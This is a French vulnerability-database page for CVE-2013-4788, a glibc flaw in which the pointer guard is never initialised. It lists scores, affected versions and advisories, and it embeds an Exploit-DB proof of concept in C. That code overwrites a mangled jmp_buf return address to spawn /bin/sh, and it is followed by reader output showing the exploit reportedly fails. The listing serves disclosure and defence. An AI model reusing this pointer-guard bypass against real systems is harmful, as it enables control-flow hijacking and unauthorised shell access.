CVE-2013-4788 : Détail

CVE-2013-4788

A03-Injection
2.98%V3
Network
2013-10-04
15h00 +00:00
2017-06-30
14h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The PTR_MANGLE implementation in the GNU C Library (aka glibc or libc6) 2.4, 2.17, and earlier, and Embedded GLIBC (EGLIBC) does not initialize the random value for the pointer guard, which makes it easier for context-dependent attackers to control execution flow by leveraging a buffer-overflow vulnerability in an application and using the known zero value pointer guard to calculate a pointer address.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 28657

Date de publication : 2013-09-29 22h00 +00:00
Auteur : Hector Marco & Ismael Ripoll
EDB Vérifié : No

/* * * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry. * * $FILE: bug-mangle.c * * Comment: Proof of concept * * $VERSION$ * * Author: Hector Marco <[email protected]> * Ismael Ripoll <[email protected]> * * $LICENSE: * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include <stdio.h> #include <setjmp.h> #include <stdint.h> #include <limits.h> #ifdef __i386__ #define ROTATE 0x9 #define PC_ENV_OFFSET 0x14 #elif __x86_64__ #define ROTATE 0x11 #define PC_ENV_OFFSET 0x38 #else #error The exploit does not support this architecture #endif unsigned long rol(uintptr_t value) { return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE)); } int hacked(){ printf("[+] hacked !!\n"); system("/bin/sh"); } int main(void){ jmp_buf env; uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ...\n"); if(setjmp(env) == 1){ printf("[-] Exploit failed.\n"); return 0; } /*Overwrie env return address */ *ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, 1); printf("[-] Exploit failed.\n"); return 0; } #################################################################################################################### # # Reader submitted results /* [522] user@his-system ~ $ ./POC [+] Exploiting ... Segmentation fault [523] user@his-system ~ $ ldd POC linux-vdso.so.1 => (0x00007fffab5fd000) libc.so.6 => /lib64/libc.so.6 (0x0000003269800000) /lib64/ld-linux-x86-64.so.2 (0x0000003269400000) [525] user@his-system ~ $ uname -a Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux [526] user@his-system ~ $ [526] user@his-system ~ $ grep vsys /proc/self/maps ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall] ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall] */

Products Mentioned

Configuraton 0

Gnu>>Glibc >> Version To (including) 2.17

Gnu>>Glibc >> Version 2.0

Gnu>>Glibc >> Version 2.0.1

Gnu>>Glibc >> Version 2.0.2

Gnu>>Glibc >> Version 2.0.3

Gnu>>Glibc >> Version 2.0.4

Gnu>>Glibc >> Version 2.0.5

Gnu>>Glibc >> Version 2.0.6

Gnu>>Glibc >> Version 2.1

Gnu>>Glibc >> Version 2.1.1

Gnu>>Glibc >> Version 2.1.1.6

Gnu>>Glibc >> Version 2.1.2

Gnu>>Glibc >> Version 2.1.3

Gnu>>Glibc >> Version 2.1.9

Gnu>>Glibc >> Version 2.4

Gnu>>Glibc >> Version 2.10.1

Gnu>>Glibc >> Version 2.11

Gnu>>Glibc >> Version 2.11.1

Gnu>>Glibc >> Version 2.11.2

Gnu>>Glibc >> Version 2.11.3

Gnu>>Glibc >> Version 2.12.1

Gnu>>Glibc >> Version 2.12.2

Gnu>>Glibc >> Version 2.13

Gnu>>Glibc >> Version 2.14

Gnu>>Glibc >> Version 2.14.1

Gnu>>Glibc >> Version 2.15

Gnu>>Glibc >> Version 2.16

Configuraton 0

Gnu>>Eglibc >> Version *

    Références

    http://seclists.org/fulldisclosure/2015/Sep/23
    Tags : mailing-list, x_refsource_FULLDISC
    http://www.mandriva.com/security/advisories?name=MDVSA-2013:284
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.openwall.com/lists/oss-security/2013/07/15/9
    Tags : mailing-list, x_refsource_MLIST
    http://www.securityfocus.com/bid/61183
    Tags : vdb-entry, x_refsource_BID
    https://security.gentoo.org/glsa/201503-04
    Tags : vendor-advisory, x_refsource_GENTOO
    http://www.mandriva.com/security/advisories?name=MDVSA-2013:283
    Tags : vendor-advisory, x_refsource_MANDRIVA